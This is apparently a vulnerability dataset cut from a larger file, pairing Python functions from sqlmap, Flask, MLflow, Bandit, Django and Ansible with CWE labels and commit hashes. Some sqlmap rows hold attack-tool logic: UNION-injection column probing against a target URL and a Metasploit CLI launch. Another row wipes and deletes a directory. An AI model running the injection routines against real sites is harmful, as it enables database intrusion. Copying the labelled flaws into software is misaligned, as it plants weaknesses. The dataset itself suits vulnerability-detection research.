        infoMsg += ""interface locally, please wait..""
        logger.info(infoMsg)

        logger.debug(""executing local command: %s"" % self._cliCmd)
        self._msfCliProc = execute(self._cliCmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)"
,UNKNOWN,UNKNOWN,tests/test_appctx.py,1,"def test_app_tearing_down_with_unhandled_exception(app, client):
    app.config[""PROPAGATE_EXCEPTIONS""] = True
    cleanup_stuff = []

    @app.teardown_appcontext
    def cleanup(exception):
        cleanup_stuff.append(exception)

    @app.route(""/"")
    def index():
        raise ValueError(""dummy"")

    with pytest.raises(ValueError, match=""dummy""):
        with app.app_context():
            client.get(""/"")

    assert len(cleanup_stuff) == 1
    assert isinstance(cleanup_stuff[0], ValueError)
    assert str(cleanup_stuff[0]) == ""dummy""",CWE-703,pallets/flask,261e4a6cf287180b69c4db407791e43ce90e50ad,"def test_app_tearing_down_with_unhandled_exception(app, client):
    app.config[""PROPAGATE_EXCEPTIONS""] = True
    cleanup_stuff = []

    @app.teardown_appcontext
    def cleanup(exception):
        cleanup_stuff.append(exception)

    @app.route(""/"")
    def index():
        raise Exception(""dummy"")

    with pytest.raises(Exception, match=""dummy""):
        with app.app_context():
            client.get(""/"")

    assert len(cleanup_stuff) == 1
    assert isinstance(cleanup_stuff[0], Exception)
    assert str(cleanup_stuff[0]) == ""dummy"""
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/common.py,0,"def safeSQLIdentificatorNaming(name, isTable=False):
    """"""
    Returns a safe representation of SQL identificator name (internal data format)

    # Reference: http://stackoverflow.com/questions/954884/what-special-characters-are-allowed-in-t-sql-column-retVal

    >>> pushValue(kb.forcedDbms)
    >>> kb.forcedDbms = DBMS.MSSQL
    >>> getText(safeSQLIdentificatorNaming(""begin""))
    '[begin]'
    >>> getText(safeSQLIdentificatorNaming(""foobar""))
    'foobar'
    >>> kb.forceDbms = popValue()
    """"""

    retVal = name

    if isinstance(name, six.string_types):
        retVal = getUnicode(name)
        _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE)

        if _:
            retVal = re.sub(r""(?i)\A\[?%s\]?\."" % DEFAULT_MSSQL_SCHEMA, ""%s."" % DEFAULT_MSSQL_SCHEMA, retVal)

        # Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf)
        if retVal.upper() in kb.keywords or (not isTable and (retVal or "" "")[0] == '_') or (retVal or "" "")[0].isdigit() or not re.match(r""\A[A-Za-z0-9_@%s\$]+\Z"" % ('.' if _ else """"), retVal):  # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
            if not conf.noEscape:
                retVal = unsafeSQLIdentificatorNaming(retVal)

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):  # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT ""foobar"" FROM users)
                    retVal = ""`%s`"" % retVal
                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO):
                    retVal = ""\""%s\"""" % retVal
                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
                    retVal = ""\""%s\"""" % retVal.upper()
                elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                    if isTable:
                        parts = retVal.split('.', 1)
                        for i in xrange(len(parts)):
                            if parts[i] and (re.search(r""\A\d|[^\w]"", parts[i], re.U) or parts[i].upper() in kb.keywords):
                                parts[i] = ""[%s]"" % parts[i]
                        retVal = '.'.join(parts)
                    else:
                        if re.search(r""\A\d|[^\w]"", retVal, re.U) or retVal.upper() in kb.keywords:
                            retVal = ""[%s]"" % retVal

        if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r""\[[^]]+\]"", """", retVal):
            if (conf.db or """").lower() != ""information_schema"":     # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5192
                retVal = ""%s.%s"" % (DEFAULT_MSSQL_SCHEMA, retVal)

    return retVal",,sqlmapproject/sqlmap,d7ee423fc5274c18ff6fcb4348ec960bb3b8bf6c,"def safeSQLIdentificatorNaming(name, isTable=False):
    """"""
    Returns a safe representation of SQL identificator name (internal data format)

    # Reference: http://stackoverflow.com/questions/954884/what-special-characters-are-allowed-in-t-sql-column-retVal

    >>> pushValue(kb.forcedDbms)
    >>> kb.forcedDbms = DBMS.MSSQL
    >>> getText(safeSQLIdentificatorNaming(""begin""))
    '[begin]'
    >>> getText(safeSQLIdentificatorNaming(""foobar""))
    'foobar'
    >>> kb.forceDbms = popValue()
    """"""

    retVal = name

    if isinstance(name, six.string_types):
        retVal = getUnicode(name)
        _ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE)

        if _:
            retVal = re.sub(r""(?i)\A\[?%s\]?\."" % DEFAULT_MSSQL_SCHEMA, ""%s."" % DEFAULT_MSSQL_SCHEMA, retVal)

        # Note: SQL 92 has restrictions for identifiers starting with underscore (e.g. http://www.frontbase.com/documentation/FBUsers_4.pdf)
        if retVal.upper() in kb.keywords or (not isTable and (retVal or "" "")[0] == '_') or (retVal or "" "")[0].isdigit() or not re.match(r""\A[A-Za-z0-9_@%s\$]+\Z"" % ('.' if _ else """"), retVal):  # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
            if not conf.noEscape:
                retVal = unsafeSQLIdentificatorNaming(retVal)

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.CUBRID, DBMS.SQLITE):  # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT ""foobar"" FROM users)
                    retVal = ""`%s`"" % retVal
                elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO):
                    retVal = ""\""%s\"""" % retVal
                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
                    retVal = ""\""%s\"""" % retVal.upper()
                elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                    if isTable:
                        parts = retVal.split('.', 1)
                        for i in xrange(len(parts)):
                            if parts[i] and (re.search(r""\A\d|[^\w]"", parts[i], re.U) or parts[i].upper() in kb.keywords):
                                parts[i] = ""[%s]"" % parts[i]
                        retVal = '.'.join(parts)
                    else:
                        if re.search(r""\A\d|[^\w]"", retVal, re.U) or retVal.upper() in kb.keywords:
                            retVal = ""[%s]"" % retVal

        if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r""\[[^]]+\]"", """", retVal):
            if conf.db.lower() != ""information_schema"":     # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5192
                retVal = ""%s.%s"" % (DEFAULT_MSSQL_SCHEMA, retVal)

    return retVal"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/exceptions.py,0,"def __init__(self, message, error_code=INTERNAL_ERROR, **kwargs):
        """"""
        :param message: The message describing the error that occured. This will be included in the
                        exception's serialized JSON representation.
        :param error_code: An appropriate error code for the error that occured; it will be included
                           in the exception's serialized JSON representation. This should be one of
                           the codes listed in the `mlflow.protos.databricks_pb2` proto.
        :param kwargs: Additional key-value pairs to include in the serialized JSON representation
                       of the MlflowException.
        """"""
        try:
            self.error_code = ErrorCode.Name(error_code)
        except (ValueError, TypeError):
            self.error_code = ErrorCode.Name(INTERNAL_ERROR)
        self.message = message
        self.json_kwargs = kwargs
        super().__init__(message)",,mlflow/mlflow,c967e22676156ad33ba544537a655b056b4c237c,"def __init__(self, message, error_code=INTERNAL_ERROR, **kwargs):
        """"""
        :param message: The message describing the error that occured. This will be included in the
                        exception's serialized JSON representation.
        :param error_code: An appropriate error code for the error that occured; it will be included
                           in the exception's serialized JSON representation. This should be one of
                           the codes listed in the `mlflow.protos.databricks_pb2` proto.
        :param kwargs: Additional key-value pairs to include in the serialized JSON representation
                       of the MlflowException.
        """"""
        try:
            self.error_code = ErrorCode.Name(error_code)
        except (ValueError, TypeError):
            self.error_code = ErrorCode.Name(INTERNAL_ERROR)
        self.message = message
        self.json_kwargs = kwargs
        super(MlflowException, self).__init__(message)"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/core/manager.py,0,"def output_results(self, lines, sev_level, conf_level, output_filename,
                       output_format):
        '''Outputs results from the result store

        :param lines: How many surrounding lines to show per result
        :param sev_level: Which severity levels to show (LOW, MEDIUM, HIGH)
        :param conf_level: Which confidence levels to show (LOW, MEDIUM, HIGH)
        :param output_filename: File to store results
        :param output_format: output format plugin name
        :return: -
        '''
        try:
            formatters_mgr = extension_loader.MANAGER.formatters_mgr
            if output_format not in formatters_mgr:
                output_format = 'screen' if sys.stdout.isatty() else 'txt'

            formatter = formatters_mgr[output_format]
            report_func = formatter.plugin
            report_func(self, filename=output_filename,
                        sev_level=sev_level, conf_level=conf_level,
                        lines=lines)

        except Exception:
            raise RuntimeError(""Unable to output report using '%s' formatter.""
                               % output_format)",UNKNOWN,PyCQA/bandit,58b6fe376142f16702f24daf9dd1129c02f27c57,"def output_results(self, lines, sev_level, conf_level, output_filename,
                       output_format):
        '''Outputs results from the result store

        :param lines: How many surrounding lines to show per result
        :param sev_level: Which severity levels to show (LOW, MEDIUM, HIGH)
        :param conf_level: Which confidence levels to show (LOW, MEDIUM, HIGH)
        :param output_filename: File to store results
        :param output_format: output format plugin name
        :return: -
        '''
        try:
            formatters_mgr = extension_loader.MANAGER.formatters_mgr
            if output_format not in formatters_mgr:
                output_format = 'screen'

            formatter = formatters_mgr[output_format]
            report_func = formatter.plugin
            report_func(self, filename=output_filename,
                        sev_level=sev_level, conf_level=conf_level,
                        lines=lines)

        except Exception:
            raise RuntimeError(""Unable to output report using '%s' formatter.""
                               % output_format)"
,UNKNOWN,UNKNOWN,lib/utils/purge.py,1,"def purge(directory):
    """"""
    Safely removes content from a given directory
    """"""

    if not os.path.isdir(directory):
        warnMsg = ""skipping purging of directory '%s' as it does not exist"" % directory
        logger.warning(warnMsg)
        return

    infoMsg = ""purging content of directory '%s'..."" % directory
    logger.info(infoMsg)

    filepaths = []
    dirpaths = []

    for rootpath, directories, filenames in os.walk(directory):
        dirpaths.extend(os.path.abspath(os.path.join(rootpath, _)) for _ in directories)
        filepaths.extend(os.path.abspath(os.path.join(rootpath, _)) for _ in filenames)

    logger.debug(""changing file attributes"")
    for filepath in filepaths:
        try:
            os.chmod(filepath, stat.S_IREAD | stat.S_IWRITE)
        except:
            pass

    logger.debug(""writing random data to files"")
    for filepath in filepaths:
        try:
            filesize = os.path.getsize(filepath)
            with openFile(filepath, ""w+b"") as f:
                f.write("""".join(_unichr(random.randint(0, 255)) for _ in xrange(filesize)))
        except:
            pass

    logger.debug(""truncating files"")
    for filepath in filepaths:
        try:
            with open(filepath, 'w') as f:
                pass
        except:
            pass

    logger.debug(""renaming filenames to random values"")
    for filepath in filepaths:
        try:
            os.rename(filepath, os.path.join(os.path.dirname(filepath), """".join(random.sample(string.ascii_letters, random.randint(4, 8)))))
        except:
            pass

    dirpaths.sort(key=functools.cmp_to_key(lambda x, y: y.count(os.path.sep) - x.count(os.path.sep)))

    logger.debug(""renaming directory names to random values"")
    for dirpath in dirpaths:
        try:
            os.rename(dirpath, os.path.join(os.path.dirname(dirpath), """".join(random.sample(string.ascii_letters, random.randint(4, 8)))))
        except:
            pass

    logger.debug(""deleting the whole directory tree"")
    try:
        shutil.rmtree(directory)
    except OSError as ex:
        logger.error(""problem occurred while removing directory '%s' ('%s')"" % (getUnicode(directory), getSafeExString(ex)))","CWE-330, CWE-703",sqlmapproject/sqlmap,df4293473d2fb6e887e31522cab5aff95e201581,"def purge(directory):
    """"""
    Safely removes content from a given directory
    """"""

    if not os.path.isdir(directory):
        warnMsg = ""skipping purging of directory '%s' as it does not exist"" % directory
        logger.warn(warnMsg)
        return

    infoMsg = ""purging content of directory '%s'..."" % directory
    logger.info(infoMsg)

    filepaths = []
    dirpaths = []

    for rootpath, directories, filenames in os.walk(directory):
        dirpaths.extend(os.path.abspath(os.path.join(rootpath, _)) for _ in directories)
        filepaths.extend(os.path.abspath(os.path.join(rootpath, _)) for _ in filenames)

    logger.debug(""changing file attributes"")
    for filepath in filepaths:
        try:
            os.chmod(filepath, stat.S_IREAD | stat.S_IWRITE)
        except:
            pass

    logger.debug(""writing random data to files"")
    for filepath in filepaths:
        try:
            filesize = os.path.getsize(filepath)
            with openFile(filepath, ""w+b"") as f:
                f.write("""".join(_unichr(random.randint(0, 255)) for _ in xrange(filesize)))
        except:
            pass

    logger.debug(""truncating files"")
    for filepath in filepaths:
        try:
            with open(filepath, 'w') as f:
                pass
        except:
            pass

    logger.debug(""renaming filenames to random values"")
    for filepath in filepaths:
        try:
            os.rename(filepath, os.path.join(os.path.dirname(filepath), """".join(random.sample(string.ascii_letters, random.randint(4, 8)))))
        except:
            pass

    dirpaths.sort(key=functools.cmp_to_key(lambda x, y: y.count(os.path.sep) - x.count(os.path.sep)))

    logger.debug(""renaming directory names to random values"")
    for dirpath in dirpaths:
        try:
            os.rename(dirpath, os.path.join(os.path.dirname(dirpath), """".join(random.sample(string.ascii_letters, random.randint(4, 8)))))
        except:
            pass

    logger.debug(""deleting the whole directory tree"")
    try:
        shutil.rmtree(directory)
    except OSError as ex:
        logger.error(""problem occurred while removing directory '%s' ('%s')"" % (getUnicode(directory), getSafeExString(ex)))"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/union/test.py,0,"def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL):
    """"""
    Finds number of columns affected by UNION based injection
    """"""
    retVal = None

    @stackedmethod
    def _orderByTechnique(lowerCount=None, upperCount=None):
        def _orderByTest(cols):
            query = agent.prefixQuery(""ORDER BY %d"" % cols, prefix=prefix)
            query = agent.suffixQuery(query, suffix=suffix, comment=comment)
            payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
            page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
            return not any(re.search(_, page or """", re.I) and not re.search(_, kb.pageTemplate or """", re.I) for _ in (""(warning|error):"", ""order by"", ""unknown column"", ""failed"")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r""data types cannot be compared or sorted"", page or """", re.I) is not None

        if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1):
            infoMsg = ""'ORDER BY' technique appears to be usable. ""
            infoMsg += ""This should reduce the time needed ""
            infoMsg += ""to find the right number ""
            infoMsg += ""of query columns. Automatically extending the ""
            infoMsg += ""range for current UNION query injection technique test""
            singleTimeLogMessage(infoMsg)

            lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount
            found = None
            while not found:
                if not conf.uCols and _orderByTest(highCols):
                    lowCols = highCols
                    highCols += ORDER_BY_STEP
                else:
                    while not found:
                        mid = highCols - (highCols - lowCols) / 2
                        if _orderByTest(mid):
                            lowCols = mid
                        else:
                            highCols = mid
                        if (highCols - lowCols) < 2:
                            found = lowCols

            return found

    try:
        pushValue(kb.errorIsNone)
        items, ratios = [], []
        kb.errorIsNone = False
        lowerCount, upperCount = conf.uColsStart, conf.uColsStop

        if lowerCount == 1 or conf.uCols:
            found = kb.orderByColumns or (_orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique())
            if found:
                kb.orderByColumns = found
                infoMsg = ""target URL appears to have %d column%s in query"" % (found, 's' if found > 1 else """")
                singleTimeLogMessage(infoMsg)
                return found

        if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
            upperCount = lowerCount + MIN_UNION_RESPONSES

        min_, max_ = MAX_RATIO, MIN_RATIO
        pages = {}

        for count in xrange(lowerCount, upperCount + 1):
            query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where)
            payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
            page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
            if not isNullValue(kb.uChar):
                pages[count] = page
            ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO
            ratios.append(ratio)
            min_, max_ = min(min_, ratio), max(max_, ratio)
            items.append((count, ratio))

        if not isNullValue(kb.uChar):
            for regex in (kb.uChar.strip(""'""), r'>\s*%s\s*<' % kb.uChar.strip(""'"")):
                contains = tuple((count, re.search(regex, _ or """", re.IGNORECASE) is not None) for count, _ in pages.items())
                if len(filter(lambda _: _[1], contains)) == 1:
                    retVal = filter(lambda _: _[1], contains)[0][0]
                    break

        if not retVal:
            if min_ in ratios:
                ratios.pop(ratios.index(min_))
            if max_ in ratios:
                ratios.pop(ratios.index(max_))

            minItem, maxItem = None, None

            for item in items:
                if item[1] == min_:
                    minItem = item
                elif item[1] == max_:
                    maxItem = item

            if all(_ == min_ and _ != max_ for _ in ratios):
                retVal = maxItem[0]

            elif all(_ != min_ and _ == max_ for _ in ratios):
                retVal = minItem[0]

            elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
                    deviation = stdev(ratios)

                    if deviation is not None:
                        lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation

                        if min_ < lower:
                            retVal = minItem[0]

                        if max_ > upper:
                            if retVal is None or abs(max_ - upper) > abs(min_ - lower):
                                retVal = maxItem[0]
    finally:
        kb.errorIsNone = popValue()

    if retVal:
        infoMsg = ""target URL appears to be UNION injectable with %d columns"" % retVal
        singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r""\d+"", ""N"", infoMsg))

    return retVal",,sqlmapproject/sqlmap,ec6ad3ce6803ce62eb9634d3b991612eb0ef7a46,"def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=PAYLOAD.WHERE.ORIGINAL):
    """"""
    Finds number of columns affected by UNION based injection
    """"""
    retVal = None

    @stackedmethod
    def _orderByTechnique(lowerCount=None, upperCount=None):
        def _orderByTest(cols):
            query = agent.prefixQuery(""ORDER BY %d"" % cols, prefix=prefix)
            query = agent.suffixQuery(query, suffix=suffix, comment=comment)
            payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where)
            page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
            return not any(re.search(_, page or """", re.I) and not re.search(_, kb.pageTemplate or """", re.I) for _ in (""(warning|error):"", ""order by"", ""unknown column"", ""failed"")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r""data types cannot be compared or sorted"", page or """", re.I) is not None

        if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1):
            infoMsg = ""'ORDER BY' technique appears to be usable. ""
            infoMsg += ""This should reduce the time needed ""
            infoMsg += ""to find the right number ""
            infoMsg += ""of query columns. Automatically extending the ""
            infoMsg += ""range for current UNION query injection technique test""
            singleTimeLogMessage(infoMsg)

            lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount
            found = None
            while not found:
                if not conf.uCols and _orderByTest(highCols):
                    lowCols = highCols
                    highCols += ORDER_BY_STEP
                else:
                    while not found:
                        mid = highCols - (highCols - lowCols) / 2
                        if _orderByTest(mid):
                            lowCols = mid
                        else:
                            highCols = mid
                        if (highCols - lowCols) < 2:
                            found = lowCols

            return found

    try:
        pushValue(kb.errorIsNone)
        items, ratios = [], []
        kb.errorIsNone = False
        lowerCount, upperCount = conf.uColsStart, conf.uColsStop

        if lowerCount == 1 or conf.uCols:
            found = kb.orderByColumns or (_orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique())
            if found:
                kb.orderByColumns = found
                infoMsg = ""target URL appears to have %d column%s in query"" % (found, 's' if found > 1 else """")
                singleTimeLogMessage(infoMsg)
                return found

        if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES:
            upperCount = lowerCount + MIN_UNION_RESPONSES

        min_, max_ = MAX_RATIO, MIN_RATIO
        pages = {}

        for count in xrange(lowerCount, upperCount + 1):
            query = agent.forgeUnionQuery('', -1, count, comment, prefix, suffix, kb.uChar, where)
            payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where)
            page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False)
            if not isNullValue(kb.uChar):
                pages[count] = page
            ratio = comparison(page, headers, code, getRatioValue=True) or MIN_RATIO
            ratios.append(ratio)
            min_, max_ = min(min_, ratio), max(max_, ratio)
            items.append((count, ratio))

        if not isNullValue(kb.uChar):
            for regex in (kb.uChar, r'>\s*%s\s*<' % kb.uChar):
                contains = tuple((count, re.search(regex, _ or """", re.IGNORECASE) is not None) for count, _ in pages.items())
                if len(filter(lambda _: _[1], contains)) == 1:
                    retVal = filter(lambda _: _[1], contains)[0][0]
                    break

        if not retVal:
            if min_ in ratios:
                ratios.pop(ratios.index(min_))
            if max_ in ratios:
                ratios.pop(ratios.index(max_))

            minItem, maxItem = None, None

            for item in items:
                if item[1] == min_:
                    minItem = item
                elif item[1] == max_:
                    maxItem = item

            if all(_ == min_ and _ != max_ for _ in ratios):
                retVal = maxItem[0]

            elif all(_ != min_ and _ == max_ for _ in ratios):
                retVal = minItem[0]

            elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
                    deviation = stdev(ratios)

                    if deviation is not None:
                        lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation

                        if min_ < lower:
                            retVal = minItem[0]

                        if max_ > upper:
                            if retVal is None or abs(max_ - upper) > abs(min_ - lower):
                                retVal = maxItem[0]
    finally:
        kb.errorIsNone = popValue()

    if retVal:
        infoMsg = ""target URL appears to be UNION injectable with %d columns"" % retVal
        singleTimeLogMessage(infoMsg, logging.INFO, re.sub(r""\d+"", ""N"", infoMsg))

    return retVal"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/plugins/shell/powershell.py,0,"def join_path(self, *args):
        parts = []
        for arg in args:
            arg = self._unquote(arg).replace('/', '\\')
            parts.extend([a for a in arg.split('\\') if a])
        path = '\\'.join(parts)
        if path.startswith('~'):
            return path
        return '""%s""' % path",,ansible/ansible,c94509f2738f1a83a65aa8887da452218347b68f,"def join_path(self, *args):
        parts = []
        for arg in args:
            arg = self._unquote(arg).replace('/', '\\')
            parts.extend([a for a in arg.split('\\') if a])
        path = '\\'.join(parts)
        if path.startswith('~'):
            return path
        return '""%s""' % path"
,UNKNOWN,UNKNOWN,django/db/backends/schema.py,1,"def create_model(self, model):
        """"""
        Takes a model and creates a table for it in the database.
        Will also create any accompanying indexes or unique constraints.
        """"""
        # Create column SQL, add FK deferreds if needed
        column_sqls = []
        params = []
        for field in model._meta.local_fields:
            # SQL
            definition, extra_params = self.column_sql(model, field)
            if definition is None:
                continue
            # Check constraints can go on the column SQL here
            db_params = field.db_parameters(connection=self.connection)
            if db_params['check']:
                definition += "" CHECK (%s)"" % db_params['check']
            # Autoincrement SQL (for backends with inline variant)
            col_type_suffix = field.db_type_suffix(connection=self.connection)
            if col_type_suffix:
                definition += "" %s"" % col_type_suffix
            params.extend(extra_params)
            # Indexes
            if field.db_index and not field.unique:
                self.deferred_sql.append(
                    self.sql_create_index % {
                        ""name"": self._create_index_name(model, [field.column], suffix=""""),
                        ""table"": self.quote_name(model._meta.db_table),
                        ""columns"": self.quote_name(field.column),
                        ""extra"": """",
                    }
                )
            # FK
            if field.rel and field.db_constraint:
                to_table = field.rel.to._meta.db_table
                to_column = field.rel.to._meta.get_field(field.rel.field_name).column
                if self.connection.features.supports_foreign_keys:
                    self.deferred_sql.append(
                        self.sql_create_fk % {
                            ""name"": self._create_index_name(model, [field.column], suffix=""_fk_%s_%s"" % (to_table, to_column)),
                            ""table"": self.quote_name(model._meta.db_table),
                            ""column"": self.quote_name(field.column),
                            ""to_table"": self.quote_name(to_table),
                            ""to_column"": self.quote_name(to_column),
                        }
                    )
                elif self.sql_create_inline_fk:
                    definition += "" "" + self.sql_create_inline_fk % {
                        ""to_table"": self.quote_name(to_table),
                        ""to_column"": self.quote_name(to_column),
                    }
            # Add the SQL to our big list
            column_sqls.append(""%s %s"" % (
                self.quote_name(field.column),
                definition,
            ))
            # Autoincrement SQL (for backends with post table definition variant)
            if field.get_internal_type() == ""AutoField"":
                autoinc_sql = self.connection.ops.autoinc_sql(model._meta.db_table, field.column)
                if autoinc_sql:
                    self.deferred_sql.extend(autoinc_sql)
        # Add any unique_togethers
        for fields in model._meta.unique_together:
            columns = [model._meta.get_field_by_name(field)[0].column for field in fields]
            column_sqls.append(self.sql_create_table_unique % {
                ""columns"": "", "".join(self.quote_name(column) for column in columns),
            })
        # Make the table
        sql = self.sql_create_table % {
            ""table"": self.quote_name(model._meta.db_table),
            ""definition"": "", "".join(column_sqls)
        }
        self.execute(sql, params)
        # Add any index_togethers
        for fields in model._meta.index_together:
            columns = [model._meta.get_field_by_name(field)[0].column for field in fields]
            self.execute(self.sql_create_index % {
                ""table"": self.quote_name(model._meta.db_table),
                ""name"": self._create_index_name(model, columns, suffix=""_idx""),
                ""columns"": "", "".join(self.quote_name(column) for column in columns),
                ""extra"": """",
            })
        # Make M2M tables
        for field in model._meta.local_many_to_many:
            if field.rel.through._meta.auto_created:
                self.create_model(field.rel.through)",CWE-89,django/django,ee74f9fe3bcd8c2648e4623d5929fceac851b97f,"def create_model(self, model):
        """"""
        Takes a model and creates a table for it in the database.
        Will also create any accompanying indexes or unique constraints.
        """"""
        # Create column SQL, add FK deferreds if needed
        column_sqls = []
        params = []
        for field in model._meta.local_fields:
            # SQL
            definition, extra_params = self.column_sql(model, field)
            if definition is None:
                continue
            # Check constraints can go on the column SQL here
            db_params = field.db_parameters(connection=self.connection)
            if db_params['check']:
                definition += "" CHECK (%s)"" % db_params['check']
            # Autoincrement SQL (for backends with inline variant)
            col_type_suffix = field.db_type_suffix(connection=self.connection)
            if col_type_suffix:
                definition += "" %s"" % col_type_suffix
            params.extend(extra_params)
            # Indexes
            if field.db_index and not field.unique:
                self.deferred_sql.append(
                    self.sql_create_index % {
                        ""name"": self._create_index_name(model, [field.column], suffix=""""),
                        ""table"": self.quote_name(model._meta.db_table),
                        ""columns"": self.quote_name(field.column),
                        ""extra"": """",
                    }
                )
            # FK
            if field.rel:
                to_table = field.rel.to._meta.db_table
                to_column = field.rel.to._meta.get_field(field.rel.field_name).column
                if self.connection.features.supports_foreign_keys:
                    self.deferred_sql.append(
                        self.sql_create_fk % {
                            ""name"": self._create_index_name(model, [field.column], suffix=""_fk_%s_%s"" % (to_table, to_column)),
                            ""table"": self.quote_name(model._meta.db_table),
                            ""column"": self.quote_name(field.column),
                            ""to_table"": self.quote_name(to_table),
                            ""to_column"": self.quote_name(to_column),
                        }
                    )
                elif self.sql_create_inline_fk:
                    definition += "" "" + self.sql_create_inline_fk % {
                        ""to_table"": self.quote_name(to_table),
                        ""to_column"": self.quote_name(to_column),
                    }
            # Add the SQL to our big list
            column_sqls.append(""%s %s"" % (
                self.quote_name(field.column),
                definition,
            ))
            # Autoincrement SQL (for backends with post table definition variant)
            if field.get_internal_type() == ""AutoField"":
                autoinc_sql = self.connection.ops.autoinc_sql(model._meta.db_table, field.column)
                if autoinc_sql:
                    self.deferred_sql.extend(autoinc_sql)
        # Add any unique_togethers
        for fields in model._meta.unique_together:
            columns = [model._meta.get_field_by_name(field)[0].column for field in fields]
            column_sqls.append(self.sql_create_table_unique % {
                ""columns"": "", "".join(self.quote_name(column) for column in columns),
            })
        # Make the table
        sql = self.sql_create_table % {
            ""table"": self.quote_name(model._meta.db_table),
            ""definition"": "", "".join(column_sqls)
        }
        self.execute(sql, params)
        # Add any index_togethers
        for fields in model._meta.index_together:
            columns = [model._meta.get_field_by_name(field)[0].column for field in fields]
            self.execute(self.sql_create_index % {
                ""table"": self.quote_name(model._meta.db_table),
                ""name"": self._create_index_name(model, columns, suffix=""_idx""),
                ""columns"": "", "".join(self.quote_name(column) for column in columns),
                ""extra"": """",
            })
        # Make M2M tables
        for field in model._meta.local_many_to_many:
            if field.rel.through._meta.auto_created:
                self.create_model(field.rel.through)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/gateway/providers/openai.py,0,"def _request_base_url(self):
        api_type = self.openai_config.openai_api_type
        if api_type == OpenAIAPIType.OPENAI:
            base_url = self.openai_config.openai_api_base or ""https://api.openai.com/v1""
            if api_version := self.openai_config.openai_api_version is not None:
                return append_to_uri_query_params(base_url, (""api-version"", api_version))
            else:
                return base_url
        elif api_type in (OpenAIAPIType.AZURE, OpenAIAPIType.AZUREAD):
            openai_url = append_to_uri_path(
                self.openai_config.openai_api_base,
                ""openai"",
                ""deployments"",
                self.openai_config.openai_deployment_name,
            )
            return append_to_uri_query_params(
                openai_url,
                (""api-version"", self.openai_config.openai_api_version),
            )
        else:
            raise MlflowException.invalid_parameter_value(
                f""Invalid OpenAI API type '{self.openai_config.openai_api_type}'""
            )",,mlflow/mlflow,f16fbca459e4b1cef64a40e8855cb162bc13db19,"def _request_base_url(self):
        api_type = self.openai_config.openai_api_type
